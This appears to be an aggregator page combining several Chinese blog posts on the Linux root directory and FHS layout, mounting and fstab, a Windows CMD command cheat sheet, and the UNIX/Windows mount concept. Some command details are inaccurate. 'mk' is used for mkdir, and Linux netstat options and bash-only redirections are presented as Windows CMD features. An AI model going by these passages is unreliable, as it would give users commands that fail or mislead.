精华内容
下载资源
问答
  • windows中根目录由什么命令建立
    千次阅读
    2017-09-20 10:51:56

    Linux根分区   一级根目录

    linux 根目录的建立

    1.2  根目录的建立

    大家一般都会知道根目录的产生方式,就是系统使用mount指令,将系统所在的分区挂载到【/】目录中,这样便完成了所谓的根目录。但你是否想过, 虽然看起来合理却有点诡异,因为根目录既然是Linux的"根",那没有根,哪来的mount指令?系统怎么可以使用呢?这正是要在这一节解释的部分。

    讲到如何产生根目录,必须先知道根目录产生之前的一些基本系统运行动作(如图1-3所示),在开机管理程序启动操作系统,在加载kernel之后 (也就是当用户在开机画面选择某系统选项按【Enter】后),kernel会自行在内存中建立一块叫做rootfs的区域供本身使用,而里面的功能都是 kernel本身所提供的,这也就是编译kernel时所赋予的能力,不过大部分kernel的能力都是在安装完操作系统后就已经定义好了的,除非是自行 重新将kernel编译过。

    而这一段kernel执行的过程,并不是产生根目录【/】的阶段,也就是说,在kernel启动阶段,并没有使用到根目录,而根目录产生出来的时间 点,是在kernel加载完成后,下一个initrd(Initial ramdisk)加载模块期间。

    这其实是因为在尚未加载initrd之前,如果操作系统是在网络或SCSI接口上,必须要等到相关模块加载后才可以使用(除非是手动将该模块嵌入到 kernel中),在这种情况下,如果kernel不支持该存储设备或功能(像SAN),如何能辨认及使用正确的根目录?所以,必须等到initrd加载 正确的模块,并且正确地辨认出存储设备的硬件之后,才能将系统分割区准确地挂载到根目录上,产生出一般使用的【/】根目录。

    从这一段启动的信息(如图1-4所示)可看出,基本上经历了以下3个步骤,根目录被产生出来,不过不同厂商所推出的Linux,有可能会有不一样的 动作,但概念是差不多的,图1-4所圈选的部分,是用户可以通过启动信息所看到的建立基本目录的三大步骤。

      (点击查看大图)图1-3:进入系统前的运作流程

    建立根目录所需的设备文件。

    先将该设备文件所指的位置(分割区)挂载到【/sysroot】目录下。

    切换目录到根目录下。

      (点击查看大图)图1-4:产生根目录的时间点 完 成这一连串的动作后,重要的【/】根目录就这样被initrd产生完毕,接着就是等待根目录下/sbin/init执行文件启动,由init文件将其下所 负责的软件或服务依序执行,就可以将整个Linux所需的环境建立完成。

    摘自:《Linux系统架构与目录解析》作者: 邱世华
     
     
     
    第二部分:
    一 、Linux文件结构 
      文件结构是文件存放在磁盘等存贮设备上的组织方法。主要体现在对文件和目录的组织上。
      目录提供了管理文件的一个方便而有效的途径。
      Linux使用标准的目录结构,在安装的时候,安装程序就已经为用户创建了文件系统和完整而固定的目录组成形式,并指定了每个目录的作用和其中的文件类型。
                          /根目录
                                  ┃
    ┏━━┳━━━┳━━━┳━━━╋━━━┳━━━┳━━━┳━━━┓
    ┃   ┃      ┃     ┃     ┃     ┃      ┃     ┃     ┃
    bin  home    dev     etc     lib     sbin    tmp      usr    var
                          ┃                               ┃
                      ┏━┻━┓     ┏━━┳━━┳━━┳━┻━┳━━┓
                      ┃      ┃    ┃   ┃    ┃    ┃     ┃    ┃
                     rc.d   cron.d X11R6  src   lib   local    man  bin
                      ┃                              
    ┏━━━┳━━┳━┻━┳━━━┓        
    ┃      ┃    ┃      ┃      ┃ 
    init.d rc0.d  rc1.d  rc2.d …… linux bin lib src
      Linux采用的是树型结构。最上层是根目录,其他的所有目录都是从根目录出发而生成的。微软的DOS和windows也是采用树型结构,但是在DOS和 windows中这样的树型结构的根是磁盘分区的盘符,有几个分区就有几个树型结构,他们之间的关系是并列的。但是在linux中,无论操作系统管理几个磁盘分区,这样的目录树只有一个。从结构上讲,各个磁盘分区上的树型目录不一定是并列的。

      如果这样讲不好理解的话,我来举个例子:
       有一块硬盘,分成了4个分区,分别是/;/boot;/usr和windows下的fat
      对于/和/boot或者/和/usr,它们是从属关系;对于/boot和/usr,它们是并列关系。

      如果我把windows下的fat分区挂载到/mnt/winc下,(挂载??哦,别急,呵呵,一会就讲,一会就讲。)那么对于/mnt/winc和/usr或/mnt/winc和/boot来说,它们是从属于目录树上没有任何关系的两个分支。
      因为linux是一个多用户系统,制定一个固定的目录规划有助于对系统文件和不同的用户文件进行统一管理。但就是这一点让很多从windows转到linux的初学者感到头疼。下面列出了linux下一些主要目录的功用。
     
     /bin 二进制可执行命令
      /dev 设备特殊文件
      /etc 系统管理和配置文件
      /etc/rc.d 启动的配置文件和脚本
      /home 用户主目录的基点,比如用户user的主目录就是/home/user,可以用~user表示
      /lib 标准程序设计库,又叫动态链接共享库,作用类似windows里的.dll文件
      /sbin 系统管理命令,这里存放的是系统管理员使用的管理程序
      /tmp 公用的临时文件存储点
      /root 系统管理员的主目录(呵呵,特权阶级)

      /mnt 系统提供这个目录是让用户临时挂载其他的文件系统。
      /lost+found 这个目录平时是空的,系统非正常关机而留下“无家可归”的文件(windows下叫什么.chk)就在这里
      /proc 虚拟的目录,是系统内存的映射。可直接访问这个目录来获取系统信  息。
      /var 某些大文件的溢出区,比方说各种服务的日志文件
      /usr 最庞大的目录,要用到的应用程序和文件几乎都在这个目录。其中包  含:
      /usr/X11R6 存放X window的目录
      /usr/bin 众多的应用程序
      /usr/sbin 超级用户的一些管理程序
      /usr/doc linux文档
      /usr/include linux下开发和编译应用程序所需要的头文件
      /usr/lib 常用的动态链接库和软件包的配置文件
      /usr/man 帮助文档
      /usr/src 源代码,linux内核的源代码就放在/usr/src/linux里
      /usr/local/bin 本地增加的命令
      /usr/local/lib 本地增加的库
       二 、linux文件系统
       文件系统指文件存在的物理空间,linux系统中每个分区都是一个文件系统,都有自己的目录层次结构。linux会将这些分属不同分区的、单独的文件系统按一定的方式形成一个系统的总的目录层次结构。一个操作系统的运行离不开对文件的操作,因此必然要拥有并维护自己的文件系统。
      Llinux文件系统使用索引节点来记录文件信息,作用像windows的文件分配表。

      索引节点是一个结构,它包含了一个文件的长度、创建及修改时间、权限、所属关系、磁盘中的位置等信息。一个文件系统维护了一个索引节点的数组,每个文件或目录都与索引节点数组中的唯一一个元素对应。系统给每个索引节点分配了一个号码,也就是该节点在数组中的索引号,称为索引节点号。
    linux文件系统将文件索引节点号和文件名同时保存在目录中。所以,目录只是将文件的名称和它的索引节点号结合在一起的一张表,目录中每一对文件名称和索引节点号称为一个连接。

       对于一个文件来说有唯一的索引节点号与之对应,对于一个索引节点号,却可以有多个文件名与之对应。因此,在磁盘上的同一个文件可以通过不同的路径去访问它。
      可以用ln命令对一个已经存在的文件再建立一个新的连接,而不复制文件的内容。连接有软连接和硬连接之分,软连接又叫符号连接。它们各自的特点是:
      硬连接:原文件名和连接文件名都指向相同的物理地址。
    目录不能有硬连接;硬连接不能跨越文件系统(不能跨越不同的分区)
    文件在磁盘中只有一个拷贝,节省硬盘空间;

      由于删除文件要在同一个索引节点属于唯一的连接时才能成功,因此可以防止不必要的误删除。
      符号连接:用ln -s命令建立文件的符号连接符号连接是linux特殊文件的一种,作为一个文件,它的数据是它所连接的文件的路径名。类似windows下的快捷方式。

      可以删除原有的文件而保存连接文件,没有防止误删除功能。
      这一段的的内容过于抽象,又是节点又是数组的,我已经尽量通俗再通俗了,又不好加例子作演示。大家如果还是云里雾里的话,我也没有什么办法了,只有先记住,日后在实际应用中慢慢体会、理解了。这也是我学习的一个方法吧。 
    三 、挂载文件系统
       由上一节知道,linux系统中每个分区都是一个文件系统,都有自己的目录层次结构。linux会将这些分属不同分区的、单独的文件系统按一定的方式形成一个系统的总的目录层次结构。这里所说的“按一定方式”就是指的挂载。
    将一个文件系统的顶层目录挂到另一个文件系统的子目录上,使它们成为一个整体,称为挂载。把该子目录称为挂载点

    举个例子吧:
      根分区:
      /根目录

    ┏━━━━┳━━━━━┳━━━━━┳━━━━━╋━━━━━┳━━━━━┳━━━━━┳━━━━━┓
    ┃ ┃ ┃ ┃ ┃ ┃ ┃ ┃ ┃
    bin home dev etc lib sbin tmp usr var

    ┏━┻━┓
    ┃ ┃
    rc.d cron.d

    ┏━━━┳━━━┳━┻━┳━━━━┓
    ┃ ┃ ┃ ┃ ┃
    init.d rc0.d rc1.d rc2.d ……
      /usr分区 :
      usr

    ┏━━━━┳━━━╋━━━┳━━━┳━━━┓
    ┃ ┃ ┃ ┃ ┃ ┃
    X11R6 src lib local man bin
    ┃ ┃
    ┃ ┏━━━╋━━━┓
    ┃ ┃ ┃ ┃
    linux bin lib src
      挂载之后就形成了文章开始时的那个图。像不像挂上去的?
      注意:1、挂载点必须是一个目录。
      2、一个分区挂载在一个已存在的目录上,这个目录可以不为空,但挂载后这个目录下以前的内容将不可用。
    对于其他操作系统建立的文件系统的挂载也是这样。但是需要理解的是:光盘、软盘、其他操作系统使用的文件系统的格式与linux使用的文件系统格式是不一样的。光盘是ISO9660;软盘是fat16或ext2;windows NT是fat16、NTFS;windows98是fat16、fat32;windows2000和windowsXP是fat16、fat32、 NTFS。挂载前要了解linux是否支持所要挂载的文件系统格式。
      挂载时使用mount命令:
    格式:mount [-参数] [设备名称] [挂载点]
      其中常用的参数有

      -t 指定设备的文件系统类型,常见的有:
      minix linux最早使用的文件系统
      ext2 linux目前常用的文件系统
      msdos MS-DOS的fat,就是fat16
      vfat windows98常用的fat32
      nfs 网络文件系统
      iso9660 CD-ROM光盘标准文件系统
      ntfs windows NT 2000的文件系统
      hpfs OS/2文件系统
      auto 自动检测文件系统
      -o 指定挂载文件系统时的选项。有些也可用在/etc/fstab中。常用的  有
      codepage=XXX 代码页
      iocharset=XXX 字符集
      ro 以只读方式挂载
      rw 以读写方式挂载
      nouser 使一般用户无法挂载
      user 可以让一般用户挂载设备
      提醒一下,mount命令没有建立挂载点的功能,因此你应该确保执行mount命令时,挂载点已经存在。(不懂?说白了点就是你要把文件系统挂载到哪,首先要先建上个目录。这样OK?)
      例子:windows98装在hda1分区,同时计算机上还有软盘和光盘需要挂载。
      # mk /mnt/winc
      # mk /mnt/floppy
      # mk /mnt/cdrom
      # mount -t vfat /dev/hda1 /mnt/winc
      # mount -t msdos /dev/fd0 /mnt/floppy
      # mount -t iso9660 /dev/cdrom /mnt/cdrom
      现在就可以进入/mnt/winc等目录读写这些文件系统了。
      要保证最后两行的命令不出错,要确保软驱和光驱里有盘。(要是硬盘的磁盘片也可以经常随时更换的话,我想就不会犯这样的错误了 :-> )
    如果你的windows98目录里有中文文件名,使用上面的命令挂载后,显示的是一堆乱码。这就要用到 -o 参数里的codepage iocharset选项。codepage指定文件系统的代码页,简体中文中文代码是936;iocharset指定字符集,简体中文一般用cp936或 gb2312。
      当挂载的文件系统linux不支持时,mount一定报错,如windows2000的ntfs文件系统。可以重新编译linux内核以获得对该文件系统的支持。关于重新编译linux内核,就不在这里说了。
      四 、自动挂载

      每次开机访问windows分区都要运行mount命令显然太烦琐,为什么访问其他的linux分区不用使用mount命令呢?
      其实,每次开机时,linux自动将需要挂载的linux分区挂载上了。那么我们是不是可以设定让linux在启动的时候也挂载我们希望挂载的分区,如windows分区,以实现文件系统的自动挂载呢?
      这是完全可以的。在/etc目录下有个fstab文件,它里面列出了linux开机时自动挂载的文件系统的列表。我的/etc/fstab文件如下:
      /dev/hda2 / ext3 defaults 1 1
      /dev/hda1 /boot ext3 defaults 1 2
      none /dev/pts devpts gid=5,mode=620 0 0
      none /proc proc defaults 0 0
      none /dev/shm tmpfs defaults 0 0
      /dev/hda3 swap swap defaults 0 0
      /dev/cdrom /mnt/cdrom iso9660 noauto,codepage=936,iocharset=gb2312 0 0
      /dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0
      /dev/hdb1 /mnt/winc vfat defaults,codepage=936,iocharset=cp936 0 0
      /dev/hda5 /mnt/wind vfat defaults,codepage=936,iocharset=cp936 0 0
      在/etc/fstab文件里,第一列是挂载的文件系统的设备名,第二列是挂载点,第三列是挂载的文件系统类型,第四列是挂载的选项,选项间用逗号分隔。第五六列不知道是什么意思,还望高手指点。
      在最后两行是我手工添加的windows下的C;D盘,加了codepage=936和iocharset=cp936参数以支持中文文件名。参数defaults实际上包含了一组默认参数:
      rw 以可读写模式挂载
      suid 开启用户ID和群组ID设置位
      dev 可解读文件系统上的字符或区块设备
      exec 可执行二进制文件
      auto 自动挂载
      nouser 使一般用户无法挂载
      async 以非同步方式执行文件系统的输入输出操作

      大家可以看到在这个列表里,光驱和软驱是不自动挂载的,参数设置为noauto。(如果你非要设成自动挂载,你要确保每次开机时你的光驱和软驱里都要有盘,呵呵。)


    本文来自ChinaUnix博客,如果查看原文请点: http://blog.chinaunix.net/u/21990/showart_267948.html
     
    第三部分:

    Linux-根目录(/)的意义与内容

      237人阅读  评论(0)  收藏  举报
    根目录是整个系统最重要的一个目录,因为不但所有的目录都是由根目录衍生出来的,同时 根目录也与开机/还原/系统修复等动作有关。因此FHS标准 建议:  根目录(/)所在分区应该越小越好,且应用程式所安装的软体最好不要与根目录放在同一个 分区 内,以保持根目录越小越好。  如此不但效能较佳,根目录所在的文件系统 也较不容易发生问题。说白了,就是根目录和Windows的C盘一个样

    根据以上原因,FHS认为 根目录(/)下应该包含如下子目录:
    目录应放置档案内容
    /bin系统有很多放置执行档的目录,但/bin比较特殊。因为/bin放置的是在单人维护模式[quest-?]下还能够被操作的指令。在/bin底下的指令可以被root与一般帐号所使用,主要有:cat, chmod(修改权限), chown, date, mv, mkdir, cp, bash等等常用的指令。
    /boot主要放置开机会使用到的档案,包括Linux核心档案以及开机选单与开机所需设定档等等。 Linux kernel常用的档名为:vmlinuz,如果使用的是grub这个开机管理程式,则还会存在/boot/grub/这个目录!
    /dev在Linux系统上,任何装置与周边设备都是以档案的型态存在于这个目录当中。 只要通过存取这个目录下的某个档案,就等于存取某个装置。比要重要的档案有/dev/null, /dev/zero, /dev/tty , /dev/lp*, / dev/hd*, /dev/sd*等等
    /etc系统主要的设定档几乎都放置在这个目录内,例如人员的帐号密码档、各种服务的启始档等等。 一般来说,这个目录下的各档案属性是可以让一般使用者查阅的,是只有root有权力修改。FHS建议不要放置可执行档(binary)在这个目录中。 比较重要的档案有: /etc/inittab, /etc/init.d/, /etc/modprobe.conf, /etc/X11/, /etc/fstab, /etc/sysconfig/等等。 另外,其下重要的目录有:
    • /etc/init.d/ 所有服务的预设启动script都是放在这里的,例如要启动或者关闭iptables的话:『 /etc/init.d/iptables start』、『/etc/init.d/ iptables stop』
    • /etc/xinetd.d/ :这就是所谓的super daemon管理的各项服务的设定档目录。
    • /etc/X11/ :与X Window有关的各种设定档都在这里,尤其是xorg.conf或XF86Config这两个X Server的设定档。
    /home这是系统预设的使用者家目录(home directory)。 在你新增一个一般使用者帐号时,预设的使用者家目录都会规范到这里来。比较重要的是,家目录有两种代号: 
    ~ :代表当前使用者的家目录, ~guest:则代表用户名为guest的家目录!
    /lib系统的函式库非常的多,而/lib放置的则是在开机时会用到的函式库,以及在/bin或/sbin底下的指令会呼叫的函式库而已 。 什么是函式库呢?妳可以将他想成是『外挂』,某些指令必须要有这些『外挂』才能够顺利完成程式的执行之意。 尤其重要的是/lib/modules/这个目录,因为该目录会放置核心相关的模组(驱动程式)喔!
    /mediamedia是『媒体』的英文,顾名思义,这个/media底下放置的就是可移除的装置啦! 包括软碟、光碟、DVD等等装置都暂时挂载于此。 常见的档名有:/media/floppy, /media/cdrom等等。
    /mnt如果妳想要暂时挂载某些额外的装置,一般建议妳可以放置到这个目录中。在古早时候,这个目录的用途与/media相同啦! 只是有了/media之后,这个目录就用来暂时挂载用了。
    /opt这个是给第三方协力软体放置的目录 。 什么是第三方协力软体啊?举例来说,KDE这个桌面管理系统是一个独立的计画,不过他可以安装到Linux系统中,因此KDE的软体就建议放置到此目录下了。 另外,如果妳想要自行安装额外的软体(非原本的distribution提供的),那么也能够将你的软体安装到这里来。不过,以前的Linux系统中,我们还是习惯放置在/usr/local目录下
    /root系统管理员(root)的家目录。 之所以放在这里,是因为如果进入单人维护模式而仅挂载根目录时,该目录就能够拥有root的家目录,所以我们会希望root的家目录与根目录放置在同一个分区中
    /sbinLinux有非常多指令是用来设定系统环境的,这些指令只有root才能够利用来『设定』系统,其他使用者最多只能用来『查询』而已。放在/sbin底下的为开机过程中所需要的,里面包括了开机、修复、还原系统所需要的指令。至于某些伺服器软体程式,一般则放置到/usr/sbin/当中。至于本机自行安装的软体所产生的系统执行档(system binary),则放置到/usr/local/sbin/当中了。常见的指令包括:fdisk, fsck, ifconfig, init, mkfs等等。
    /srvsrv可以视为『service』的缩写,是一些网路服务启动之后,这些服务所需要取用的资料目录。 常见的服务例如WWW, FTP等等。 举例来说,WWW伺服器需要的网页资料就可以放置在/srv/www/里面。呵呵,看来平时我们编写的代码应该放到这里了。
    /tmp这是让一般使用者或者是正在执行的程序暂时放置档案的地方。这个目录是任何人都能够存取的,所以你需要定期的清理一下。当然,重要资料不可放置在此目录啊! 因为FHS甚至建议在开机时,应该要将/tmp下的资料都删除

    事实上FHS针对根目录所定义的标准就仅限于上表,不过仍旧有些目录也需要我们了解一下,具体如下:
    目录应放置文件内容
    /lost+found这个目录是使用标准的ext2/ext3档案系统格式会产生的一个目录,目的在于当档案系统发生错误时,将一些遗失的片段放置到这个目录下。 这个目录通常会在分割槽的最顶层存在,例如你加装一个硬盘于/disk中,那在这个系统下就会自动产生一个这样的目录『/disk/lost+found』
    /proc这个目录本身是一个『虚拟文件系统(virtual filesystem)』喔! 他放置的资料都是在内存当中,例如系统核心、行程资讯(process)(是进程吗?)、周边装置的状态及网络状态等等。因为这个目录下的资料都是在记忆体(内存)当中,所以本身不占任何硬盘空间!比较重要的档案(目录)例如: /proc/cpuinfo, /proc/dma, /proc/interrupts, /proc/ioports, /proc/net/*等等。呵呵,是虚拟内存吗[guest]?
    /sys这个目录其实跟/proc非常类似,也是一个虚拟的档案系统,主要也是记录与核心相关的资讯。 包括目前已载入的核心模组与核心侦测到的硬体装置资讯等等。 这个目录同样不占硬盘容量!

    除了这些目录的内容之外,另外要注意的是,因为根目录与开机有关,开机过程中仅有根目录会被挂载,其他分区则是在开机完成之后才会持续的进行挂载的行为。因此根目录下与开机过程有关的目录,就不能够与根目录放到不同的分区去(在linux下目录和分区是完全区分的,windows下有时会混淆,例如“D盘”可以说是个目录也是个分区,要想搞清楚,看看 Windows和Linux在目录上的区别吧,很不错啊,我写的)! 那哪些目录不可与根目录分开呢? 如下所示:
    • /etc:设定档
    • /bin:重要执行档
    • /dev:所需要的装置档案
    • /lib:执行档所需的函式库与核心所需的模组
    • /sbin:重要的系统执行档

    这五个目录千万不可与根目录分开在不同的分区!

     

    PS:

     

     

     

    竟然没有/boot [quest-?],这么说boot应该更早被访问喽

     

     
    第四部分:
    不要反Windows系统的概念带到Linux,如果那样做的话,你会很难入门的。首先你要理解在Windows下的磁盘根分区如C:D:之类的盘符并不是根目录,而是磁盘上的一个逻辑块区(在物理磁盘上,这些块区可能并不相邻在一起,而是乱七八糟东一块西一块,所以Windows搞了一个磁盘整理的玩意来让你们折腾硬盘)。
    在类Unix的系统(如FreeBSD和Linux)里,有一个重要的概念:一切设备皆是文件。怎么理解呢,就是说,在系统的角度看来,所有的外部设备都是一个个不同的文件,都能以文件调用的方式去使用对应的设备。在系统安装的时候,必须要在硬盘上划出一块空间,这块特殊的空间就叫作根(root), 是一切文件的出发点,在系统路径中表示为“/”,然后你也可以划分其他子路径为区如存放系统可执行文件的/usr, /bin 存放类库和程序配置文件的/etc, /lib 存入设备目录的/dev,存放临时文件的/tmp,存放用户文件的/home和管理员的/root等分区。如果你不去划分这些分区,系统会自动帮你分配
     
     
    linux会有磁盘分区:为根目录分一个;为boot分一个;为swap分一个。至少会有这三个。  根目录也是目录,目录就是文件,文件就要空间存储,所以觉得是先有磁盘分区,然后再磁盘分区下有了根目录,然后其他的文件或分区都挂载到了根目录上。
    更多相关内容
  • Windows CMD常用命令大全(值得收藏)

    万次阅读 多人点赞 2021-08-22 10:45:42
    Windows CMD常用命令大全前言1. 常用命令1.1 cd命令1.2 查看目录文件1.3 创建目录和删除目录1.4 查看本机ip1.5 清除屏幕1.6 复制文件1.7 移动文件1.8 删除文件1.9 ping1.10 taskkill1.11 netstat 查看网络连接状态...

    前言

    cmdcommand的缩写.即命令行 。

    虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行安全、稳定,有的用户还在使用,所以一般Windows 的各种版本都与其兼容,用户可以在Windows 系统下运行DOS,中文版Windows XP中的命令提示符进一步提高了与DOS下操作命令的兼容性,用户可以在命令提示符直接输入中文调用文件。

    作为一个开发者,我们用的最多的就是windows,但是对于cmd,我不知道大家熟不熟,反正我是一直不怎么熟悉。平时操作linux比较多,反而忽视了cmd相关命令,这里大致总结一些常用的命令,作为记录。

    1. 常用命令

    1.1 cd命令

    //进入d盘
    D:
    //进入F盘
    F:
    
    cd /?     //获取使用帮助
    
    cd \       //跳转到硬盘的根目录
    
    cd C:\WINDOWS  //跳转到当前硬盘的其他文件
    
    d:        //跳转到其他硬盘
    
    cd /d e:\software    //跳转到其他硬盘的其他文件夹,注意此处必须加/d参数。否则无法跳转。
    
    cd..      //跳转到上一层目录
    

    1.2 查看目录文件

    //查看当前目录下的文件,类似于linux下的ls
    dir
    

    在这里插入图片描述

    如果是需要查看隐藏文件的或者更多操作的话,可以使用dir /?来查看其它用法,cmd这点挺好的。

    python /?
    

    在这里插入图片描述

    1.3 创建目录和删除目录

    //创建目录
    md 目录名(文件夹)
    //删除目录
    rd 目录名(文件夹)
    

    1.4 查看本机ip

    ipconfig
    

    1.5 清除屏幕

    cls
    

    类似于linux下的clear

    1.6 复制文件

    copy 路径\文件名 路径\文件名 :把一个文件拷贝到另一个地方。 
    

    1.7 移动文件

    move 路径\文件名 路径\文件名 :把一个文件移动(就是剪切+复制)到另一个地方。 
    

    1.8 删除文件

    //这个是专门删除文件的,不能删除文件夹
    del 文件名
    

    1.9 ping

    //用来测试网络是否畅通
    ping ip(主机名)
    

    1.10 taskkill

    列出所有任务及进程号,杀进程

    taskkill
    
    taskkill /?  获取使用帮助
    

    taskkill是用来终止进程的。具体的命令规则如下:

    TASKKILL [/S system [/U username [/P [password]]]]
    { [/FI filter] [/PID processid | /IM imagename] } [/F] [/T]
    

    描述:

    这个命令行工具可用来结束至少一个进程。

    可以根据进程 id 或映像名(Image)来结束进程。

    参数列表:

    /S system 指定要连接到的远程系统。
    /U [domain\]user 指定应该在哪个用户上下文
    

    执行这个命令:

    /P [password] 为提供的用户上下文指定密码。如果忽略,提示输入。
    /F 指定要强行终止的进程。
    /FI filter 指定筛选进或筛选出查询的的任务。
    /PID process id 指定要终止的进程的PID。
    /IM image name 指定要终止的进程的映像名称。通配符 '*'可用来指定所有映像名。
    /T Tree kill: 终止指定的进程和任何由此启动的子进程。
    /? 显示帮助/用法。
    

    例如:

    TASKKILL /S system /F /IM notepad.exe /T
    TASKKILL /PID 1230 /PID 1241 /PID 1253 /T
    TASKKILL /F /IM QQ.exe
    TASKKILL /F /IM notepad.exe /IM mspaint.exe
    TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"
    TASKKILL /F /FI "USERNAME eq NT AUTHORITY\SYSTEM" /IM notepad.exe
    

    在这里插入图片描述

    1.11 netstat 查看网络连接状态

    显示协议统计信息和当前 TCP/IP 网络连接。该命令可以查看当前机器建立的所有网络链接状态,以及对应哪个进程。

    netstat -help 获取命令行使用帮助信息
    
    netstat -ano  //查看网络连接、状态以及对应的进程id
    

    语法:

    netstat [选项]
    

    参数:

    -a或--all:显示所有连线中的Socket;
    -A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址;
    -c或--continuous:持续列出网络状态;
    -C或--cache:显示路由器配置的快取信息;
    -e或--extend:显示网络其他相关信息;
    -F或--fib:显示FIB;
    -g或--groups:显示多重广播功能群组组员名单;
    -h或--help:在线帮助;
    -i或--interfaces:显示网络界面信息表单;
    -l或--listening:显示监控中的服务器的Socket;
    -M或--masquerade:显示伪装的网络连线;
    -n或--numeric:直接使用ip地址,而不通过域名服务器;
    -N或--netlink或--symbolic:显示网络硬件外围设备的符号连接名称;
    -o或--timers:显示计时器;
    -p或--programs:显示正在使用Socket的程序识别码和程序名称;
    -r或--route:显示Routing Table;
    -s或--statistice:显示网络工作信息统计表;
    -t或--tcp:显示TCP传输协议的连线状况;
    -u或--udp:显示UDP传输协议的连线状况;
    -v或--verbose:显示指令执行过程;
    -V或--version:显示版本信息;
    -w或--raw:显示RAW传输协议的连线状况;
    -x或--unix:此参数的效果和指定"-A unix"参数相同;
    --ip或--inet:此参数的效果和指定"-A inet"参数相同。
    

    1.12 find

    find /?获取使用帮助
    
    netstat -ano|find ".8"   //使用管道符,进行模糊查询
    

    1.13 tracert

    tracert也被称为Windows路由跟踪实用程序,在命令提示符(cmd)中使用tracert命令可以用于确定IP数据包访问目标时所选择的路径。

      tracert /? 获取使用帮助
    

    2. 查看cmd下的命令

    1、使用help命令,查看所有的dos命令

    使用这个命令之后,我们可以看到所有的dos命令,并且后面还有中文的解释。简直不要太赞,这样我们就可以根据自己的需求要找到想要使用的命令。

    2、找到命令之后,使用 命令+ /?来查看该命令下的其他属性

    命令 -help    //1种形式的使用帮助
    
    命令  /?       //2种形式的使用帮助
    

    注意:这些字符只能是英文的

    3. 辅助符号或命令

    3.1 ‘|’

    “|”cmd命令中|代表前一个的输出代表后一个的输入

    查找特定ip的网络连接及进程号:netstat -ano|find "192.168.1.10"

    3.2 重定向输出符号> >>

    将原本输出到命令窗口的内容,转存到文件中,如jstack 12912 >d:/s.txt 打印线程到指定文件

    cmd > 重定向输出并覆盖源文件。

    例如

     echo hello >c:\1.txt  // 1.txt的文件内容先被清空,然后写入hello。
    

    cmd >>重定向输出追加到文件末尾

    例如:

     echo hello >>c:\1.txt  // 在1.txt文件末尾加上hello
    

    3.3 重定向输入符号< <<

    cmd < file
    

    使cmd命令从file读入

     cmd << text
    

    从命令行读取输入,直到一个与text相同的行结束。

    除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。

    如果使用 <<- ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考后面的例子。

    cmd <<< word
    

    把word(而不是文件word)和后面的换行作为输入提供给cmd。

      cmd <> file
    

    以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。

     cmd >| file
    

    功能同>,但即便在设置了noclobber时也会覆盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用>!实现这一功能。

    3.4 终止一直在运行的命令ctrl+c

    有时某个命令一直打印输出结果(如ping 192.168.1.10 -t),我们想终止这个命令的执行,直接按ctrl+c即可。

    3.5 清空cmd窗口内容命令cls

    有时cmd内容太多,滚动费尽,需要清空屏幕内容,直接输入cls即可

    cmd命令中,按键盘的向上箭头可以直接复制前一个命令

    3.6 常用工具

    Process Explorer,查询进程的详细信息,如查询java进程启动参数,运行环境,线程信息、网络连接信息、使用了哪些dll,打开了什么句柄。包含注册表、Socket、文件等等。

    下载地址https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

    4. 附加一些Windows下的快捷键

    win+E                 打开文件管器
    
    win+D                 显示桌面
    
    win+L                 锁计算机
    
    alt+F4                 关闭当前程序
    
    ctrl+shift+Esc    打开任务管理器(或者ctrl+alt+delete)
    
    ctrl+F                  在一个文本或者网页里面查找,相当实用(退出一般按ESC)
    
    ctrl+A                  选中所有文本
    

    参考link link

    展开全文
  • Windows系统如何mount盘符到目录

    万次阅读 多人点赞 2019-08-31 10:58:50
    Windows上如何将一个文件系统分区挂载到一个目录,这其实是一个 硬需求! 是的,非常硬的需求。因为我们总是面临C盘,D盘满了却无法动态扩容问题。所以,在有一天我因为路上堵车撸了一个Linux上的最小的tinyfs之后...

    本文是从另一篇关于Linux文件系统实现的文章里摘出来的。

    在Windows上如何将一个文件系统分区挂载到一个目录,这其实是一个 硬需求! 是的,非常硬的需求。因为我们总是面临C盘,D盘满了却无法动态扩容问题。所以,在有一天我因为路上堵车撸了一个Linux上的最小的tinyfs之后,就想到顺便解决一下Windows的mount问题,并且发现了方法,就记录了下来。

    我以前确实不知道Windows系统也能mount文件系统分区到目录,但是我一直都觉得有办法做到,毕竟Windows如此成熟的操作系统,怎能错过 UNIX正确的mount机制 呢?UNIX的古老mount是如此的完美!

    先谈谈UNIX mount机制

    这是个古老的机制。早在UNIX初始,经典创世论文《The UNIX time-sharing system》里就提到了mount机制:
    在这里插入图片描述

    mount机制如此设计的源泉在于目录的定义:

    Directories provide the mapping between the names of files and the files themselves, and thus induce a structure on the file system as a whole.

    而我们知道,UNIX最初定义的文件类型包括三大类:

    • 普通数据文件。
    • 目录。 【对,目录也是文件!】
    • 特殊文件。

    这决定了目录是一个递归嵌套的结构。最终是下面的两个核心造就了UNIX树形的文件系统结构:

    1. 所有文件系统均通过目录组织。
    2. 目录是递归嵌套的。

    所有的文件系统均通过目录组织,这意味着每一个文件系统均有一个根目录,而目录本身就是递归嵌套的,所有在一棵树上,每一个目录节点均可以看作一棵子树的根,这就是mount点:

    • 每一棵子树均可以挂载一个文件系统。

    在这里插入图片描述
    上图中每一个中间节点均可以挂载一个新的文件系统。

    我们找到了mount的根源。

    有了mount机制,试问一个目录可以有多大?答案是它可以无穷大,它可以挂载整个世界。

    再谈谈Linux的实现

    Linux作为类UNIX系统,当然实现了mount机制。先看Linux文件系统的表象:
    在这里插入图片描述
    但实际上,在mount机制下,它是这个样子:
    在这里插入图片描述

    两组链表将整个mount树组织了起来,让它成了我们看起来的树的样子:

    1. 文件系统链表。
    2. 每一个文件系统的mount挂载点链表。

    接着谈谈Linux和Windows文件系统组织的异同

    我平时喜欢把类似的东西放在一起比较,比如秦汉和罗马帝国之类的,所以圈内的经常有人想让我谈下Windows和Linux的文件系统之间区别。

    先看一篇很早之前的文章:
    Linux文件系统的设计: https://blog.csdn.net/dog250/article/details/6347504/
    该文章讲了Linux文件系统mount机制的超级好处。

